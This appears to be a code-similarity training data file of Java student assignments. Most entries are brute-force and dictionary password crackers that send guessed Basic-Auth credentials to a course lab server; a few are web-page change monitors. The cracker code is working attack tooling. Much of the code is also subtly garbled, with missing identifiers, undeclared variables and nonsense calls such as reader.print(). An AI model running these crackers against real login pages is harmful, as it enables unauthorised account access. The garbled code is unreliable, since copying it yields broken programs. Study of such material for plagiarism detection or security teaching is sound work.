url.openConnection();\n      urlConnection.setDoInput(true);\n\387    \      urlConnection.setDoOutput(true);\n\n\n      urlConnection.setRequestProperty(\"\388    GET\", url.getPath() + \" HTTP/1.1\");\n      urlConnection.setRequestProperty(\"\389    Host\", url.getHost());\n      password = getNextPassword();\n      if(password\390    \ == null)\n        return null;\n      System.out.print(password);\n      authorization\391    \ = user + \":\" + password;\n\n\n      urlConnection.setRequestProperty(\"Authorization\"\392    , \" \"+ b64enc.encode(authorization.getBytes()));\n\n\noutcome = urlConnection.getHeaderField(null);\393    \ \n\n\n\n      this.attempts ++;\n      urlConnection = null;\n      url = null;\n\394    \n      if(this.attempts%51 == 0)\n        for(int b = 0; b < 53;b++)\n      \395    \    System.out.print(\"\\b \\b\");\n      else\n        System.out.print(\"\\\396    b\\b\\b.\");\n\n    }\n    return password;\n  }\n  \n  public int getAttempts(){\n\397    \    return this.attempts;\n  }\n  public static void main (String[] args) {\n\398    \    if(args.length != 2){\n      System.out.println(\"usage: java attacks.BruteForce\399    \ <url  crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. >\"\400    );\n      System.exit(1);\n    }\n\n    BruteForce bruteForce1 = new BruteForce(args[0]);\n\401    \    try{\n      Calendar cal1=null, cal2=null;\n      cal1 = Calendar.getInstance();\n\402    \      System.out.println(\"Cracking started at: \" + cal1.getTime().toString());\n\403    \      String password = bruteForce1.crackPassword(args[1]);\n      if(password\404    \ != null)\n        System.out.println(\"\\nPassword is: \"+password);\n     \405    \ else\n        System.out.println(\"\\nPassword could not  retrieved!\");\n \406    \     cal2 = Calendar.getInstance();\n      System.out.println(\"Cracking finished\407    \ at: \" + cal2.getTime().toString());\n      Date d3 = new Date(cal2.getTime().getTime()\408    \ - cal1.getTime().getTime());\n      System.out.println(\"Total Time taken  crack:\409    \ \" + (d3.getTime())/1000 + \" sec\");\n      System.out.println(\"Total attempts\410    \ : \"  + bruteForce1.getAttempts());\n\n    }catch(MalformedURLException mue){\n\411    \      mue.printStackTrace();\n    }\n\n    catch(IOException ioe){\n      ioe.printStackTrace();\n\412    \    }\n  }\n}"413  - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\414    {\t\n\n\tpublic static void main(String args[])\n\t{\n\n           Runtime rt1\415    \ = Runtime.getRuntime();\n\t   Process prss1= null;\n\n           try\n     \416    \       {\n             prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\417    \ http://www.cs.rmit.edu./students/\");\n            }catch(java.io.IOException\418    \ e){}\n\n\t   MyWatchDogTimer w = new MyWatchDogTimer();\n\t   Timer time = new\419    \ Timer();\n\t   time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"420  - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\421    import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\422    import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\423    \    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n\424    \    }\n\n    public static void main(String[] args)\n    {\n        Dictionary\425    \ dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n\426    \            System.out.println(dictionary.printUsage());\n        }\n       \427    \ else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n\428    \            dictionary.setWordFile(args[2]);\n\n            if (args.length >\429    \ 3)\n            {\n                dictionary.setFileName(args[3]);\n      \430    \      }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n\431    \            System.exit(1);\n        }\n    }\n\n    public void process()\n\432    \    {\n        attempts = 0;\n        String password = \"\";\n        \n   \433    \     setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader\434    \ input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n\435    \            \n            input = new BufferedReader(file);\n            \n \436    \       }\n        catch (FileNotFoundException x)\n        {\n            System.err.println(\"\437    File not found: \" + getWordFile());\n            System.exit(2);\n        }\n\438    \n        try\n        {\n            while ((password = input.readLine()) !=\439    \ null)\n            {\n                try\n                {\n             \440    \       \n                    attempts++;\n                    BasicAuthHttpRequest\441    \ req =\n                        new BasicAuthHttpRequest(\n                 \442    \           getURL(),\n                            getUserName(),\n          \443    \                  password);\n                    setPassword(password);\n  \444    \                  setEnd(new Timestamp(System.currentTimeMillis()));\n      \445    \              setContent(req.getContent().toString());\n\n                  \446    \  \n                    if (getFileName() != null\n                        &&\447    \ getFileName().length() > 0)\n                    {\n                       \448    \ createReport();\n                    }\n                    return;\n      \449    \          }\n                catch (MalformedURLException e)\n              \450    \  {\n                    e.printStackTrace();\n                    return;\n\451    \                }\n                catch (IOException e)\n                {\n\452    \n                }\n            }\n        }\n        catch (IOException x)\n\453    \        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new\454    \ Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n\455    \    {\n        StringBuffer s = new StringBuffer();\n\n        s.append(\"**\456    \ BruteForce proper usage **\\n\\n\");\n        s.append(\n            \"java\457    \ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\458    n\\n\");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n\459    \    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String\460    \ string)\n    {\n        wordFile = string;\n    }\n\n}\n"461- source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\462    \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\463    \ char [] alphabet = {\n        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n    \464    \    'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n        'Q', 'R', 'S', 'T', 'U',\465    \ 'V', 'W', 'X',\n        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n        'g',\466    \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n        'o', 'p', 'q', 'r', 's', 't', 'u',\467    \ 'v',\n        'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\468    \ {\n  for(int j=0;j<52;j++)\n  {\n   for(int k=0;k<52;k++)\n   {\n    pwd = alphabet[i]+\"\469    \"+alphabet[j]+\"\"+alphabet[k];\n    String userPassword = \":\"+pwd;\n    RealThread\470    \ myTh = new RealThread(i,userPassword);\n    Thread th = new Thread( myTh );\n\471    \    th.start();\n    try\n    {\n     \n     \n     th.sleep(100);\n    }\n \472    \   catch(Exception e)\n    {} \n   }\n  }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\473    \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\474    \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\475    \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\476    http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\477    \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\478    \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n  try\n  {\n\479    \  String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\480    \n  uc = (HttpURLConnection)url.openConnection();\n  uc.setRequestProperty (\"\481    Authorization\", \" \" + encoding);\n  System.out.println(\"Reponse  = \"+uc.getResponseCode()+\"\482    for pwd = \"+userPassword);\n  this.responseCode = uc.getResponseCode();\n  \n\483    \  if(uc.getResponseCode()==200)\n  {\n     System.out.println(\" ======= Password\484    \ Found : \"+userPassword+\" ========================================= \");\n\485    \     System.exit(0);\n  }\n\n  }\n  catch (Exception e) {\n  System.out.println(\"\486    Could not execute Thread \"+num+\" \");\n  }\n }\n\n}\n"487  sentences:488  - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\489    \ PasswordCracker {\n    \n    \n    private static final char  car= 'a';\n  \490    \  \n    private static final char END   = 'z' + 1;\n    \n    \n    public static\491    \ final int BRUTEFORCE = 0;\n    public static final int DICTIONARY = 1;\n   \492    \ \n    \n    String urlName = null;\n    \n    String user    = null;\n    \n\493    \    String filename = null;\n    \n    int method;\n    \n    \n    int attempt_counter;\n\494    \    \n    \n    public static void main(String[] args) {\n        \n        PasswordCracker\495    \ cracker = null;\n        \n        if ((args.length == 3) && (args[2].equalsIgnoreCase(\"\496    BRUTEFORCE\"))) {\n            \n            cracker = new PasswordCracker(args[0],\497    \ args[1], PasswordCracker.BRUTEFORCE, null);\n        }\n        else if ((args.length\498    \ == 4) && (args[2].equalsIgnoreCase(\"DICTIONARY\"))) {\n            \n     \499    \       cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY,\500    \ args[3]);\n        }\n        else {\n            System.out.println(\"Syntax:\501    \ java PasswordCracker <username> <url> BRUTEFORCE \");\n            System.out.println(\"\502    \        java PasswordCracker <username> <url> DICTIONARY <sourcefile> \");\n\503    \            System.exit(1);\n        }\n        \n        cracker.run();\n  \504    \  }\n    \n    \n    public PasswordCracker(String user, String url, int method,\505    \ String file) {\n        \n        this.user     = user;\n        this.urlName\506    \  = url;\n        this.filename = file;\n        \n        this.method = method;\n\507    \    }\n    \n    \n    public boolean run() {\n        \n        String password;\n\508    \         s = 0;\n         end = 0;\n        \n        try {\n            attempt_counter\509    \ = 0;\n            URL target = new URL(urlName);\n            \n           \510    \ switch (this.method) {\n                \n               case  BRUTEFORCE:\n\511    \                    \n                    s = System.currentTimeMillis();\n \512    \                   \n                    \n                    for (char i =\513    \ 0; i < END; i++) {\n                        for (char j = 0; j < END; j++) {\n\514    \                            for (char k = 0; k < END; k++) {\n              \515    \                  \n                                password = String.valueOf(i)\516    \ + String.valueOf(j) + String.valueOf(k);\n                                if\517    \ (performConnection(target, user, password)) {\n                            \518    \        \n                                    end = System.currentTimeMillis();\n\519    \                                    \n                                    System.out.println(\"\520    URL: \\t\\t\" + target +\n                                    \"\\nUser: \\t\\\521    t\"+ user + \"\\nPassword: \\t\" + password);\n\n                            \522    \        System.out.println(\"Attempts: \\t\" + attempt_counter\n            \523    \                        + \"\\nTotal time: \\t\" + ((end - a) / 1000.0f) + \"\524    \ seconds\");\n                                    return true;\n            \525    \                    }\n                            }\n                      \526    \  }\n                    }\n                    \n                    \n    \527    \                for (char i = 0; i < END; i++) {\n                        for\528    \ (char j = 0; j < END; j++) {\n                            for (char k = 0; k\529    \ < END; k++) {\n                                \n                          \530    \      password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);\n\531    \                                if (isValidPassword(target, password)) {\n  \532    \                                  \n                                    end =\533    \ System.currentTimeMillis();\n                                    \n        \534    \                            System.out.println(\"Attempts: \\t\" + attempt_counter\n\535    \                                    + \"\\nTotal time: \\t\" + ((end - d) / 1000.0f)\536    \ + \" seconds\");\n                                    return true;\n       \537    \                         }\n                            }\n                 \538    \       }\n                    }\n                    break;\n               \539    \     \n                case DICTIONARY:\n                    try {\n        \540    \                BufferedReader buf = new BufferedReader(new FileReader(filename));\n\541    \                        \n                         s = System.currentTimeMillis();\n\542    \                        \n                         {\n                      \543    \      password = buf.readLine();\n                            \n            \544    \                \n                            \n                            if\545    \ (password.length() == 3) {\n                                if (performConnection(target,\546    \ user, password)) {\n                                    \n                 \547    \                   end = System.currentTimeMillis();\n                      \548    \              \n                                    System.out.println(\"URL:\549    \ \\t\\t\" + target +\n                                    \"\\nUser: \\t\\t\"\550    + user + \"\\nPassword: \\t\" + password);\n                                 \551    \   \n                                    System.out.println(\"Attempts: \\t\"\552    \ + attempt_counter\n                                    + \"\\nTotal time: \\\553    t\" + ((end - d) / 1000.0f) + \" seconds\");\n                               \554    \     return true;\n                                }\n                      \555    \      }\n                        }\n                        while (password !=\556    \ null);\n                    }\n                    catch (FileNotFoundException\557    \ e) {\n                        System.out.println(\"File \\\"\" + filename +\558    \ \"\\\" not found\");\n                    }\n                    catch (IOException\559    \ ioe) {\n                        System.out.println(\"IO Error \" + ioe);\n \560    \                   }\n                    break;\n                    \n    \561    \            default:\n                    return false;\n            }\n    \562    \    }\n        catch (Exception e) {\n            System.out.println(\"ERROR:\563    \ \" + e.getMessage());\n        }\n        \n        end = System.currentTimeMillis();\n\564    \        System.out.println(\"Attempts: \\t\" + attempt_counter +\n        \"\\\565    nTotal time: \\t\" + ((end - d) / 1000.0f) + \" seconds\");\n        \n      \566    \  return true;\n    }\n    \n    \n    private boolean isValidPassword(URL target,\567    \ String password) throws Exception {\n        \n        char letter[] = new char[3];\n\568    \        String generated = null;\n        \n        letter[0] = password.charAt(0);\n\569    \        for (int i = 0; i < 2; i++) {\n            \n            letter[1] =\570    \ password.charAt(1);\n            for (int j = 0; j < 2; j++) {\n           \571    \     \n                letter[2] = password.charAt(2);\n                for (int\572    \ k = 0; k < 2; k++) {\n                    \n                    generated =\573    \ String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);\n\574    \                    \n                    if ((Character.isUpperCase(letter[0])\575    \ == true) ||\n                        (Character.isUpperCase(letter[1]) == true)\576    \ ||\n                        (Character.isUpperCase(letter[2]) == true)) {\n\577    \                        \n                        if (performConnection(target,\578    \ user, generated) == true) {\n                            \n                \579    \            System.out.println(\"URL: \\t\\t\" + target + \"\\nUser: \\t\\t\"\580    + user +\n                            \"\\nPassword: \\t\" + generated);\n   \581    \                         return true;\n                        }\n          \582    \          }\n                    letter[2] = Character.toUpperCase(letter[2]);\n\583    \                }\n                letter[1] = Character.toUpperCase(letter[1]);\n\584    \            }\n            letter[0] = Character.toUpperCase(letter[0]);\n  \585    \      }\n        return false;\n    }\n    \n    \n    private boolean performConnection(URL\586    \ target, String username, String password) throws Exception {\n        HttpURLConnection\587    \ connection = null;\n        \n        try {\n            attempt_counter++;\n\588    \            connection = (HttpURLConnection) target.openConnection();\n     \589    \       connection.setRequestProperty(\"Authorization\", \" \" + Base64.encode(username\590    \ + \":\" + password));\n            \n            switch (connection.getResponseCode()\591    \ / 100) {\n                 case 2:\n                    System.out.println(\"\592    Connected successfully\");\n                    return true;\n               \593    \ default:\n                    return false;\n            }\n        }\n    \594    \    catch (Exception e) {\n            throw new Exception(\"Failed  connect\595    \  \" + target);\n        }\n    }\n}\n"596  - "\n\n\nimport java.text.*;  \nimport java.util.*;  \nimport java.net.*;  \nimport\597    \ java.io.*;  \n\n  \npublic class BruteForce {  \n\n   public int runProcess(String\598    \ urlString,String passwd) {  \n\n       int returnval = 0;\n       MyAuthenticator\599    \ auth = new MyAuthenticator(passwd);\n       Authenticator.setDefault(auth);\n\600    \n\t       System.out.println(\"trying passord: \" + passwd);\n       try{\n \601    \           URL yahoo = new URL(urlString); \n            BufferedReader in =\602    \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n           \603    \ String inputLine;\n            while ((inputLine = in.readLine()) != null) {\n\604    \t       System.out.println(inputLine);\n\t       System.out.println(\"passord:\605    \ \" + passwd);\n               returnval = 1;\n            }\n\t    in.close();\n\606    \          }catch(Exception e){ returnval = 0;}\n       return returnval;\n  \607    \ }\n\n   public static void  main(String argv[]) {  \n\n       String[] val =\608    \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\609    m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\610    z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\611    M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\612    Z\"};\n\n      int l1 = 0;\n\n      int l2 = 0;\n\n      int l3 = 0;\n      \n\613    \      int retval = 0;\n\n      String pwd = \"\";\n\n      \n      BruteForce\614    \ s = new BruteForce();  \n      String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\615    ;  \n    \n      for (int a = 0; a < 52; a++) {\n\n        l1 = a;\n\n       \616    \ pwd = val[l1];\n        retval = 0;\n        retval = s.runProcess(urlToSearch,pwd);\617    \  \n        if (retval > 0) {\n           System.exit(0);\n        }\n      }\n\618    \n\n      for (int b = 0; b < 52; b++) {\n        l1 = b;\n        for (int c\619    \ = 0; c < 52; c++) {\n\n          l2 = c;\n          pwd = val[l1]+ val[l2];\n\620    \          retval = 0;\n          retval = s.runProcess(urlToSearch,pwd);  \n\621    \          if (retval > 0) {\n             System.exit(0);\n          }\n    \622    \    }\n      }\n\n\n      for (int d = 0; d < 52; d++) {\n        l1 = d;\n \623    \       for (int e = 0; e < 52; e++) {\n          l2 = e;\n          for (int\624    \ f = 0; f < 52; f++) {\n\n              l3 = f;\n\n              pwd = val[l1]+\625    \ val[l2]+ val[l3];\n              retval = 0;\n              retval = s.runProcess(urlToSearch,pwd);\626    \  \n              if (retval > 0) {\n                 System.exit(0);\n     \627    \         }\n           }\n        }\n      }\n\n    }  \n}     \n\n"628  - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\629    import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n   \630    \ private String         url;\n    private URL            currURL;\n    private\631    \ URLConnection  conn;\n    private HoldSharedData sharedData;\n    private int\632    \            noOfThread;\n    private int            batch;\n\n    public ConnectionThread(\633    \ String pageURL, int wThread,\n                             int newBatch, HoldSharedData\634    \ data )\n    {\n        super();\n        url = pageURL;\n        noOfThread\635    \ = wThread ;\n        batch = newBatch;\n        sharedData = data;\n    }\n\n\636    \    \n    public void run()\n    {\n        try\n        {\n            currURL\637    \ = new URL( url );\n\n            for( int i = noOfThread*batch; (i < (noOfThread\638    \ + 1)*batch) &&\n                                    (i < sharedData.getPwdCount());\639    \ i ++ )\n            {\n                String pwd = sharedData.getPasswordAt(\640    \ i );\n\n                conn = currURL.openConnection();\n\n               \641    \ if (conn instanceof HttpURLConnection)\n                {\n\t            HttpURLConnection\642    \ hconn = (HttpURLConnection) conn;\n                    hconn.setFollowRedirects(false);\n\643    \                    String cad = \" \" + based64Encoder( \":\" + pwd );\n   \644    \                 hconn.setRequestProperty( \"Authorization\", cad );\n\n    \645    \                hconn.connect();\n\t            int response = hconn.getResponseCode();\n\646    \                    sharedData.setNumOfConnections();\n\n                   \647    \ if( response == 200 )\n                    {\n                         totalTime\648    \ = System.currentTimeMillis() -\n                                           sharedData.getStartTime();\n\649    \                        int numOfConnections = sharedData.getNumOfConnections();\n\650    \n                        System.out.println( \"Password is \" + pwd );\n    \651    \                    System.out.println( \"Total Time(seconds)=\" +\n        \652    \                                   (double)totalTime/1000 );\n              \653    \          System.out.println( \"Number Of Connections: \" +\n               \654    \                                     numOfConnections );\n                  \655    \      System.exit(0);\n                    }\n                    else\n    \656    \                {\n                        hconn.disconnect();\n            \657    \        }\n                }\n            }\n        }\n        catch( MalformedURLException\658    \ mue )\n        {\n            String msg = \"Unable  parse URL: \" + url;\n\659    \            System.err.println( msg );\n        }\n        catch( IOException\660    \ ioe )\n        {\n            System.err.println( \"I/O Error : \" + ioe );\n\661    \        }\n    }\n\n    private String based64Encoder( String pwd )\n    {\n\662    \        \n        String str = pwd;\n        byte[] buf = str.getBytes();\n \663    \       String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n      \664    \  return encodedStr;\n    }\n}  "665- source_sentence: "\n\n\n\npublic class SMTPException extends Exception {\n\n   \666    \    private String msg; \n       \n       public SMTPException(String message)\667    \ {\n              msg = message;\n       }\n\n       \n       public String getMessage()\668    \ {\n              return msg;\n       }\n}"669  sentences:670  - "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n\671    {\n    boolean connected = false;\n    int counter;\n    String[] chars = {\"\672    a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n                    \"i\",\"j\"\673    ,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n                    \"q\",\"r\",\"s\",\"\674    t\",\"u\",\"v\",\"w\",\"x\",\n                    \"y\",\"z\",\"A\",\"B\",\"C\"\675    ,\"D\",\"E\",\"F\",\n                    \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\676    M\",\"N\",\n                    \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\"\677    ,\n                    \"W\",\"X\",\"Y\",\"Z\"};\n    Vector combinations = new\678    \ Vector();\n    \n    BruteForce()\n    {\n        counter = 0;\n        this.genCombinations();\n\679    \        this.startAttack();\n    }   \n    \n    public void startAttack()\n\680    \    {\n        while(counter<this.combinations.size())\n        {\n         \681    \  connected = sendRequest();\n           if(connected == true)\n           {\n\682    \             System.out.print(\"The password is: \");\n             System.out.println((String)combinations.elementAt(counter-1));\n\683    \             counter = combinations.size();\n           }\n        }\n    }\n\684    \    \n    public void genCombinations()\n    {\n        String combination =\685    \ new String();\n        \n        for (int x=0; x<52; x++)\n        {\n     \686    \       combination = chars[x];\n            this.combinations.addElement(combination);\n\687    \        }\n        \n        for (int x=0; x<52; x++)\n        {\n          \688    \  for (int y=0; y<52; y++)\n            {\n                combination = chars[x]\689    \ + chars[y];\n                this.combinations.addElement(combination);\n  \690    \          }\n        }   \n        \n        for (int x=0; x<52; x++)\n     \691    \   {\n            for (int y=0; y<52; y++)\n            {\n                for\692    \ (int z=0; z<52; z++)\n                {\n                    combination = chars[x]\693    \ + chars[y] + chars[z];\n                    this.combinations.addElement(combination);\n\694    \                }\n            }\n        }   \n    }\n    \n    public boolean\695    \ sendRequest()\n    {\n        Authenticator.setDefault (new MyAuthenticator\696    \ ());\n        try \n        {\n        \t\n        \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\697    );\n                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n\698    \                urlConn.connect();\n               if(urlConn.getResponseMessage().equalsIgnoreCase(\"\699    OK\"))\n               {\n                   return true;\n               }\n\700    \               \n        } \n        catch (IOException e) {}\n        \n   \701    \     return false;\n    }\n    \n     public static void main(String [] args)\n\702    \     {\n         BruteForce bf = new BruteForce();\n     }\n   \n   \n     class\703    \ MyAuthenticator extends Authenticator {\n       \n        protected PasswordAuthentication\704    \ getPasswordAuthentication() {\n            String username = \"\";\n       \705    \     String password = (String)combinations.elementAt(counter);\n           \706    \ counter++;\n            return new PasswordAuthentication(username, password.toCharArray());\n\707    \        }\n    }\n}\n"708  - "import java.io.*;\nimport java.net.*;\nimport java.misc.*;\n\n\npublic class\709    \ Dictionary\n{\n\n   public static void main (String args[]) throws IOException\n\710    \   {\n      final int maxLength = 3;\n      final String username = \"\";\n \711    \     final File dicFile = new File(\"/usr/share/lib/dict/words\");\n      final\712    \ URL pageURL = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n      String\713    \ password=\"\";\n      BASE64Encoder encoder = new BASE64Encoder();\n      boolean\714    \ notFound = true;\n      HttpURLConnection conn;\n\n      BufferedReader reader\715    \ = new BufferedReader(new FileReader(dicFile));\n\n      while (notFound&&((password\716    \ = reader.readLine()) != null))\n      {\n         if(password.length()>maxLength)\n\717    \         {\n            continue;\n         }\n\n         conn = (HttpURLConnection)\718    \ pageURL.openConnection();\n\n            conn.setRequestProperty(\"Authorization\"\719    , \" \"+encoder.encode((username+\":\"+password).getBytes()));\n\n         if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)\n\720    \         {\n            notFound=false;\n         }\n\n      }\n\n      reader.print();\n\721    \n      if(notFound)\n      {\n         System.out.println(\" valid password in\722    \ dictionary file.\");\n      }\n      else\n      {\n         System.out.println(\"\723    Found valid password: \\\"\"+password+\"\\\"\");\n      }\n   }\n}\n\n"724  - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\725    \npublic class Dictionary\n{\n\n  public Dictionary()\n  {\n  }\n\n  public static\726    \ void main(String[] args)\n  {\n    try\n    {\n\n        if (args.length !=\727    \ 3 )\n        {\n            System.out.println(\"Usage: java BruteForce <URL>\728    \ <UserName> <DictFileName>\");\n            System.exit(1);\n        }\n\n  \729    \       timeStart = System.currentTimeMillis();\n\n        String strPass = applyDictionary\730    \ (args[0], args[1], args [2]);\n\n         timeEnd = System.currentTimeMillis();\n\731    \n        System.out.println(\"\\n\\n\\n\\n\\tPass Cracked is: \" + strPass);\n\732    \        System.out.println(\"\\tTime taken is (sec):\" + String.valueOf((timeEnd\733    \ - timeStart)/1000));\n\n    }\n    catch(Exception e)\n    {\n      e.printStackTrace();\n\734    \    }\n  }\n\n  static String applyDictionary (String URL, String UserName, String\735    \ strUrlDictionary)\n  {\n      String strPass = \"\";\n\n      try\n      {\n\736    \              FileInputStream fIn = new FileInputStream ( strUrlDictionary );\n\737    \              DataInputStream dtIn = new DataInputStream ( fIn );\n\n       \738    \      \n             \n\n              System.out.print(\"\\n\\n\\n Applying\739    \ Dictionary Attack:      \");\n\n              while (dtIn.available() > 0)\n\740    \              {\n                  strPass = dtIn.readLine();\n\n           \741    \       if (strPass.length() != 3)\n                    continue;\n\n        \742    \         \n               \n\n                  System.out.print(\"\\b\\b\\b\"\743    \ + strPass );\n\n                  boolean boolResult = applyPass ( URL, UserName,\744    \ strPass );\n\n                  if (boolResult)\n                  {\n     \745    \                 dtIn.close();\n                      fIn.close();\n        \746    \              return strPass;\n                  }\n              }\n\n     \747    \         dtIn.close();\n              fIn.close();\n      }\n      catch (Exception\748    \ e)\n      {\n          e.printStackTrace();\n      }\n\n      return \"Could\749    \ not find match\";\n  }\n\n  private static boolean applyPass (String strURL,\750    \ String strUserName, String strPass )\n  {\n        BASE64Encoder myEncoder =\751    \ new BASE64Encoder ();\n\n        try\n        {\n            String str = strUserName\752    \ + \":\" + strPass;\n\n            String strEncode = myEncoder.encode(str.getBytes());\n\753    \n            URL url = new URL (strURL);\n\n            URLConnection urlConn\754    \ = url.openConnection();\n\n            urlConn.setRequestProperty (\"Authorization\"\755    , \" \" + strEncode);\n\n            urlConn.connect();\n\n            String\756    \ strReply = urlConn.getHeaderField(0);\n\n            if ( strReply.trim().equalsIgnoreCase(\"\757    HTTP/1.1 200 OK\") )\n            {\n                return true;\n          \758    \  }\n        }\n        catch (Exception e)\n        {\n            e.printStackTrace\759    \ ();\n        }\n\n        return false;\n  }\n}\n"760- source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\761    import java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends\762    \ Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog\763    \ watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void\764    \ run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\765    \ DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n      \766    \  \n\n   \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new\767    \ Date()));\n        while(true)\n        {\n    \t\twriteProgramLog(\"Running\768    \ run at \" + longTimestamp.format(new Date()));\n            compare();\n   \769    \         try\n            {\n                sleep(twentyFourHours);\n      \770    \      }\n            catch(InterruptedException e)\n            {\n         \771    \       writeProgramLog(\"Program terminated at \" + longTimestamp.format(new\772    \ Date()));\n                System.exit(0);\n            }\n        }\n    }\773    \ \n\n\t\n    private void compare()\n    {\n        \n        \n        \n  \774    \      String watchDogFile = \"watchDogHash_rcroft.\";\n        String watchDogPageFile\775    \ = \"watchDogPage_rcroft.html\";\n    \n        File watchDogLogFile = new File(watchDogFile);\n\776    \        \n        if(!watchDogLogFile.exists())\n        {\n            \n  \777    \          \n            \n            \n            \n            WebPage targetPage\778    \ = getPage();\n            if(targetPage.getSuccess())\n            {\n     \779    \           byte[] newHash = calcHash(targetPage.getPageContents());\n       \780    \         writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(),\781    \ watchDogPageFile);\n            }\n        }\n        else\n        {\n    \782    \        try\n            {\n                \n                \n            \783    \    \n                \n                \n                \n                WebPage\784    \ targetPage = getPage();\n                if(targetPage.getSuccess())\n     \785    \           {\n                    \n                    byte[] oldHash = new\786    \ byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\787    \n                    \n                    DataInputStream inWatchDogFile = new\788    \ DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n\789    \                    inWatchDogFile.print();\n                    \n         \790    \           \n                    \n                    \n                   \791    \ if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n    \792    \                    String differences = enumerateDifferences(watchDogPageFile,\793    \ targetPage.getPageContents());\n                        mail(differences);\n\794    \                        writeHash(newHash, watchDogFile);\n                 \795    \       writePage(targetPage.getPageContents(), watchDogPageFile);\n         \796    \           }\n                }\n            }\n            catch(IOException\797    \ e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n \798    \           }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String\799    \ oldPageFileName, String newPageData)\n\t{\n\t    String differences = \"\";\n\800    \t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t     \801    \ newFile = File.createTempFile(\"new\", \"tmp\");\n          String tempFilePath\802    \ = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new\803    \ FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n\804    \          outFile.print();\n          \n          \n          String commandLine\805    \ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n          Process p =\806    \ Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new\807    \ BufferedReader(new InputStreamReader(p.getInputStream()));\n          String\808    \ line;\n          while((line = diffs.readLine()) != null)\n            differences\809    \ += line + \"\\n\";\n          diffs.print();\n          newFile.delete();\n\t\810    \  